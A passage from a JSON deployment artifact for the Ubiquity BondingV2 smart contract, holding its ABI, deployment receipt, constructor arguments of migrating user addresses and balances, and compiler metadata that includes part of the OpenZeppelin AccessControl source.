"type": "address" - } - ], - "name": "Unpaused", - "type": "event" - }, - { - "inputs": [], - "name": "ETH_ADDRESS", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "ONE", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "accLpRewardPerShare", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_id", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_weeks", - "type": "uint256" - } - ], - "name": "addLiquidity", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_token", - "type": "address" - } - ], - "name": "addProtocolToken", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_original", - "type": "address" - }, - { - "internalType": "uint256", - "name": "_lpBalance", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_weeks", - "type": "uint256" - } - ], - "name": "addUserToMigrate", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "blockCountInAWeek", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "bondingDiscountMultiplier", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "bondingFormulasAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "crvPriceReset", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "currentShareValue", - "outputs": [ - { - "internalType": "uint256", - "name": "priceShare", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "data", - "outputs": [ - { - "internalType": "bytes", - "name": "", - "type": "bytes" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_lpsAmount", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_weeks", - "type": "uint256" - } - ], - "name": "deposit", - "outputs": [ - { - "internalType": "uint256", - "name": "_id", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "lpRewardDebt", - "type": "uint256" - } - ], - "name": "lpRewardForShares", - "outputs": [ - { - "internalType": "uint256", - "name": "pendingLpReward", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "lpRewards", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "migrate", - "outputs": [ - { - "internalType": "uint256", - "name": "_id", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "migrating", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "migrator", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "pause", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "paused", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_id", - "type": "uint256" - } - ], - "name": "pendingLpRewards", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_id", - "type": "uint256" - } - ], - "name": "removeLiquidity", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_token", - "type": "address" - } - ], - "name": "removeProtocolToken", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_to", - "type": "address" - }, - { - "internalType": "address", - "name": "_token", - "type": "address" - }, - { - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - } - ], - "name": "sendDust", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_blockCountInAWeek", - "type": "uint256" - } - ], - "name": "setBlockCountInAWeek", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_bondingDiscountMultiplier", - "type": "uint256" - } - ], - "name": "setBondingDiscountMultiplier", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_bondingFormulasAddress", - "type": "address" - } - ], - "name": "setBondingFormulasAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "bool", - "name": "_migrating", - "type": "bool" - } - ], - "name": "setMigrating", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_migrator", - "type": "address" - } - ], - "name": "setMigrator", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "name": "toMigrateId", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "totalLpToMigrate", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "uADPriceReset", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "unpause", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "stateMutability": "payable", - "type": "receive" - } - ], - "transactionHash": "0xbb3e48ebab8039cbb7d285ee64ad3bdc87dba2d3ccc5bfe04ed4f89f34c72292", - "receipt": { - "to": null, - "from": "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", - "contractAddress": "0xC251eCD9f1bD5230823F9A0F99a44A87Ddd4CA38", - "transactionIndex": 62, - "gasUsed": "8617801", - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "blockHash": "0x5ac79b222b3f9101aecd89406e834f26fb0224eb330228ae49b4d630c862942e", - "transactionHash": "0xbb3e48ebab8039cbb7d285ee64ad3bdc87dba2d3ccc5bfe04ed4f89f34c72292", - "logs": [], - "blockNumber": 12931495, - "cumulativeGasUsed": "11993095", - "status": 1, - "byzantium": true - }, - "args": [ - "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98", - "0x190474f062D05fba6d46A4D358C4d031075DF2b4", - [ - "0x89eae71b865a2a39cba62060ab1b40bbffae5b0d", - "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", - "0xa53a6fe2d8ad977ad926c485343ba39f32d3a3f6", - "0x7c76f4db70b7e2177de10de3e2f668dadcd11108", - "0x4007ce2083c7f3e18097aeb3a39bb8ec149a341d", - "0xf6501068a54f3eab46c1f145cb9d3fb91658b220", - "0x10693e86f2e7151b3010469e33b6c1c2da8887d6", - "0xcefd0e73cc48b0b9d4c8683e52b7d7396600abb2", - "0xd028babbdc15949aaa35587f95f9e96c7d49417d", - "0x9968efe1424d802e1f79fd8af8da67b0f08c814d", - "0xd3bc13258e685df436715104882888d087f87ed8", - "0x0709b103d46d71458a71e5d81230dd688809a53d", - "0xe3e39161d35e9a81edec667a5387bfae85752854", - "0x7c361828849293684ddf7212fd1d2cb5f0aade70", - "0x9d3f4eeb533b8e3c8f50dbbd2e351d1bf2987908", - "0x865dc9a621b50534ba3d17e0ea8447c315e31886", - "0x324e0b53cefa84cf970833939249880f814557c6", - "0xce156d5d62a8f82326da8d808d0f3f76360036d0", - "0x26bdde6506bd32bd7b5cc5c73cd252807ff18568", - "0xd6efc21d8c941aa06f90075de1588ac7e912fec6", - "0xe0d62cc9233c7e2f1f23fe8c77d6b4d1a265d7cd", - "0x0b54b916e90b8f28ad21da40638e0724132c9c93", - "0x629cd43eaf443e66a9a69ed246728e1001289eac", - "0x0709e442a5469b88bb090dd285b1b3a63fb0c226", - "0x94a2ffdbdbd84984ac7967878c5c397126e7bbbe", - "0x51ec66e63199176f59c80268e0be6ffa91fab220", - "0x0a71e650f70b35fca8b70e71e4441df8d44e01e9", - "0xc1b6052e707dff9017deab13ae9b89008fc1fc5d", - "0x9be95ef84676393588e49ad8b99c9d4cdfdaa631", - "0xfffff6e70842330948ca47254f2be673b1cb0db7", - "0x0000ce08fa224696a819877070bf378e8b131acf", - "0xc2cb4b1bcaebaa78c8004e394cf90ba07a61c8f7", - "0xb2812370f17465ae096ced55679428786734a678", - "0x3eb851c3959f0d37e15c2d9476c4adb46d5231d1", - "0xad286cf287b91719ee85d3ba5cf3da483d631dba", - "0xbd37a957773d883186b989f6b21c209459022252" - ], - [ - "1301000000000000000", - "3500000000000000000000", - "9351040526163838324896", - "44739174270101943975392", - "74603879373206500005186", - "2483850000000000000000", - "1878674425540571814543", - "8991650309086743220575", - "1111050988607803612915", - "4459109737462155546375", - "21723000000000000000000", - "38555895255762442000000", - "5919236274824521937931", - "1569191092350025897388", - "10201450658519659933880", - "890339946944155414434", - "5021119790948940093253", - "761000000000000000000", - "49172294677407855270013", - "25055256356185888278372", - "1576757078627228869179", - "3664000000000000000000", - "1902189597146391302863", - "34959771702943278635904", - "9380006436252701023610", - "6266995559166564365470", - "100000000000000000000", - "3696476262155265118082", - "740480000000000000000", - "2266000000000000000000", - "1480607760433248019987", - "24702171480214199310951", - "605000000000000000000", - "1694766661387270251234", - "14857000000000000000000", - "26000000000000000000" - ], - [ - "176", - "30", - "208", - "208", - "208", - "32", - "208", - "208", - "4", - "1", - "67", - "208", - "208", - "109", - "12", - "29", - "1", - "1", - "3", - "4", - "7", - "1", - "128", - "2", - "4", - "3", - "208", - "6", - "1", - "208", - "2", - "1", - "12", - "208", - "4", - "208" - ] - ], - "solcInputHash": "668ff4210658f4785fe4e4446814af17", - "metadata": "{\"compiler\":{\"version\":\"0.8.3+commit.8d00100c\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_manager\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_bondingFormulasAddress\",\"type\":\"address\"},{\"internalType\":\"address[]\",\"name\":\"_originals\",\"type\":\"address[]\"},{\"internalType\":\"uint256[]\",\"name\":\"_lpBalances\",\"type\":\"uint256[]\"},{\"internalType\":\"uint256[]\",\"name\":\"_weeks\",\"type\":\"uint256[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_user\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"_id\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_lpAmount\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_bondingShareAmount\",\"type\":\"uint256\"}],\"name\":\"AddLiquidityFromBond\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_blockCountInAWeek\",\"type\":\"uint256\"}],\"name\":\"BlockCountInAWeekUpdated\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_bondingDiscountMultiplier\",\"type\":\"uint256\"}],\"name\":\"BondingDiscountMultiplierUpdated\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_user\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"_id\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_lpAmount\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_bondingShareAmount\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_weeks\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_endBlock\",\"type\":\"uint256\"}],\"name\":\"Deposit\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"token\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"DustSent\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_user\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"_id\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_lpsAmount\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_sharesAmount\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_weeks\",\"type\":\"uint256\"}],\"name\":\"Migrated\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"Paused\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"_tokenWithdrawn\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_amountWithdrawn\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_amountTransfered\",\"type\":\"uint256\"}],\"name\":\"PriceReset\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"_token\",\"type\":\"address\"}],\"name\":\"ProtocolTokenAdded\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"_token\",\"type\":\"address\"}],\"name\":\"ProtocolTokenRemoved\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_user\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"_id\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_lpAmount\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_lpAmountTransferred\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_lprewards\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_bondingShareAmount\",\"type\":\"uint256\"}],\"name\":\"RemoveLiquidityFromBond\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"Unpaused\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"ETH_ADDRESS\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"ONE\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"accLpRewardPerShare\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_amount\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_id\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_weeks\",\"type\":\"uint256\"}],\"name\":\"addLiquidity\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_token\",\"type\":\"address\"}],\"name\":\"addProtocolToken\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_original\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_lpBalance\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_weeks\",\"type\":\"uint256\"}],\"name\":\"addUserToMigrate\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"blockCountInAWeek\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"bondingDiscountMultiplier\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"bondingFormulasAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"crvPriceReset\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"currentShareValue\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"priceShare\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"data\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_lpsAmount\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_weeks\",\"type\":\"uint256\"}],\"name\":\"deposit\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"_id\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"lpRewardDebt\",\"type\":\"uint256\"}],\"name\":\"lpRewardForShares\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"pendingLpReward\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"lpRewards\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"manager\",\"outputs\":[{\"internalType\":\"contract UbiquityAlgorithmicDollarManager\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"migrate\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"_id\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"migrating\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"migrator\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"pause\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"paused\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_id\",\"type\":\"uint256\"}],\"name\":\"pendingLpRewards\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_amount\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_id\",\"type\":\"uint256\"}],\"name\":\"removeLiquidity\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_token\",\"type\":\"address\"}],\"name\":\"removeProtocolToken\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_token\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_amount\",\"type\":\"uint256\"}],\"name\":\"sendDust\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_blockCountInAWeek\",\"type\":\"uint256\"}],\"name\":\"setBlockCountInAWeek\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_bondingDiscountMultiplier\",\"type\":\"uint256\"}],\"name\":\"setBondingDiscountMultiplier\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_bondingFormulasAddress\",\"type\":\"address\"}],\"name\":\"setBondingFormulasAddress\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool\",\"name\":\"_migrating\",\"type\":\"bool\"}],\"name\":\"setMigrating\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_migrator\",\"type\":\"address\"}],\"name\":\"setMigrator\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"toMigrateId\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalLpToMigrate\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"uADPriceReset\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"unpause\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"stateMutability\":\"payable\",\"type\":\"receive\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"addLiquidity(uint256,uint256,uint256)\":{\"details\":\"Add an amount of uAD-3CRV LP tokens\",\"params\":{\"_amount\":\"of LP token to deposit\",\"_id\":\"bonding shares id\",\"_weeks\":\"during lp token will be held\"}},\"addUserToMigrate(address,uint256,uint256)\":{\"details\":\"addUserToMigrate add a user to migrate from V1. IMPORTANT execute that function BEFORE sending the corresponding LP token otherwise they will have extra LP rewards\",\"params\":{\"_lpBalance\":\"LP Balance of v1 user\",\"_original\":\"address of v1 user\",\"_weeks\":\"weeks lockup of v1 user\"}},\"crvPriceReset(uint256)\":{\"details\":\"crvPriceReset remove 3CRV unilateraly from the curve LP share sitting inside the bonding contract and send the 3CRV received to the treasury This will have the immediate effect of pushing the uAD price LOWER\",\"params\":{\"amount\":\"of LP token to be removed for 3CRV tokens\"}},\"deposit(uint256,uint256)\":{\"details\":\"deposit uAD-3CRV LP tokens for a duration to receive bonding shares\",\"params\":{\"_lpsAmount\":\"of LP token to send\",\"_weeks\":\"during lp token will be held\"}},\"lpRewardForShares(uint256,uint256)\":{\"details\":\"return the amount of Lp token rewards an amount of shares entitled\",\"params\":{\"amount\":\"of bonding shares\",\"lpRewardDebt\":\"lp rewards that has already been distributed\"}},\"migrate()\":{\"details\":\"migrate let a user migrate from V1\"},\"paused()\":{\"details\":\"Returns true if the contract is paused, and false otherwise.\"},\"removeLiquidity(uint256,uint256)\":{\"details\":\"Remove an amount of uAD-3CRV LP tokens\",\"params\":{\"_amount\":\"of LP token deposited when _id was created to be withdrawn\",\"_id\":\"bonding shares id\"}},\"uADPriceReset(uint256)\":{\"details\":\"uADPriceReset remove uAD unilateraly from the curve LP share sitting inside the bonding contract and send the uAD received to the treasury. This will have the immediate effect of pushing the uAD price HIGHER\",\"params\":{\"amount\":\"of LP token to be removed for uAD\"}}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"addLiquidity(uint256,uint256,uint256)\":{\"notice\":\"bonding shares are ERC1155 (aka NFT) because they have an expiration date\"},\"addProtocolToken(address)\":{\"notice\":\"Collectable Dust\"},\"addUserToMigrate(address,uint256,uint256)\":{\"notice\":\"user will then be able to migrate.\"},\"crvPriceReset(uint256)\":{\"notice\":\"it will remove one coin only from the curve LP share sitting in the bonding contract\"},\"deposit(uint256,uint256)\":{\"notice\":\"weeks act as a multiplier for the amount of bonding shares to be received\"},\"migrate()\":{\"notice\":\"user will then be able to migrate\"},\"removeLiquidity(uint256,uint256)\":{\"notice\":\"bonding shares are ERC1155 (aka NFT) because they have an expiration date\"},\"uADPriceReset(uint256)\":{\"notice\":\"it will remove one coin only from the curve LP share sitting in the bonding contract\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/BondingV2.sol\":\"BondingV2\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"none\",\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":800},\"remappings\":[]},\"sources\":{\"@openzeppelin/contracts/access/AccessControl.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\nimport \\\"../utils/Strings.sol\\\";\\nimport \\\"../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev External interface of AccessControl declared to support ERC165 detection.\\n */\\ninterface IAccessControl {\\n function hasRole(bytes32 role, address account) external view returns (bool);\\n\\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\\n\\n function grantRole(bytes32 role, address account) external;\\n\\n function revokeRole(bytes32 role, address account) external;\\n\\n function renounceRole(bytes32 role, address account) external;\\n}\\n\\n/**\\n * @dev Contract module that allows children to implement role-based access\\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\\n * members except through off-chain means by accessing the contract event logs. Some\\n * applications may benefit from on-chain enumerability, for those cases see\\n * {AccessControlEnumerable}.\\n *\\n * Roles are referred to by their `bytes32` identifier. These should be exposed\\n * in the external API and be unique. The best way to achieve this is by\\n * using `public constant` hash digests:\\n *\\n * ```\\n * bytes32 public constant MY_ROLE = keccak256(\\\"MY_ROLE\\\");\\n * ```\\n *\\n * Roles can be used to represent a set of permissions. To restrict access to a\\n * function call, use {hasRole}:\\n *\\n * ```\\n * function foo() public {\\n * require(hasRole(MY_ROLE, msg.sender));\\n * ...\\n * }\\n * ```\\n *\\n * Roles can be granted and revoked dynamically via the {grantRole} and\\n * {revokeRole} functions. Each role has an associated admin role, and only\\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\\n *\\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\\n * that only accounts with this role will be able to grant or revoke other\\n * roles. More complex role relationships can be created by using\\n * {_setRoleAdmin}.\\n *\\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\\n * grant and revoke this role. Extra precautions should be taken to secure\\n * accounts that have been granted it.\\n */\\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\\n struct RoleData {\\n mapping(address => bool) members;\\n bytes32 adminRole;\\n }\\n\\n mapping(bytes32 => RoleData) private _roles;\\n\\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\\n\\n /**\\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\\n *\\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\\n * {RoleAdminChanged} not being emitted signaling this.\\n *\\n * _Available since v3.1._\\n */\\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\\n\\n /**\\n * @dev Emitted when `account` is granted `role`.\\n *\\n * `sender` is the account that originated the contract call, 